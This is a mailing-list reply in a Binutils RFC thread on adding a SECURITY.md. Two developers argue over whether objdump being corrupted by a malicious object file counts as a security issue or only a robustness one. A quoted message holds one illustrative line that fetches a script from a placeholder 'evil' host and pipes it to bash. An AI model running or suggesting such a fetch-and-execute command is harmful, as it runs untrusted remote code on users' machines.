RFC: Adding a SECURITY.md document to the Binutils
Richard Earnshaw
Richard.Earnshaw@foss.arm.com
Thu Apr 13 13:40:39 GMT 2023
On 13/04/2023 14:35, Siddhesh Poyarekar wrote:
> On 2023-04-13 09:11, Richard Earnshaw wrote:
>>> This is why when one does a:
>>>
>>> curl -s http://evil.website/malicious-script.sh | bash
>>>
>>> it is a legitimate security issue, but it's not a vulnerability in
>>> bash, nor can it be secured in bash. One must either do this in a
>>> sandbox to contain its impact in that sandbox, or do a secondary
>>> analysis (again in a sandbox) to determine that it is safe.
>>
>> Right, but that's not the case I was concerned about. My scenario is
>> more like when you run something like
>>
>> objdump foo.o
>>
>> but reading foo.o causes corruption in the tools (eg by a buffer
>> exploit) and ends up sending a confidential file to a third party.
>
> It's not fundamentally different from, e.g.
>
> bash malicious-script.sh
>
> it just feels different because you elided the transport mechanism.
> Fundamentally, it is unsafe to do anything with untrusted content
> without sandboxing, so objdump is no different. Sure, objdump is an
> analysis tool, so it should be able to analyze foo.o without crashing,
> but that's a robustness issue, not a security one. The security aspect
> should be handled by a sandbox.
Sorry, I disagree. Sending files to third parties is completely outside
of the intended scope of objdump, so if it ends up being able to do so,
that's a security issue.
R.
More information about the Gdb
mailing list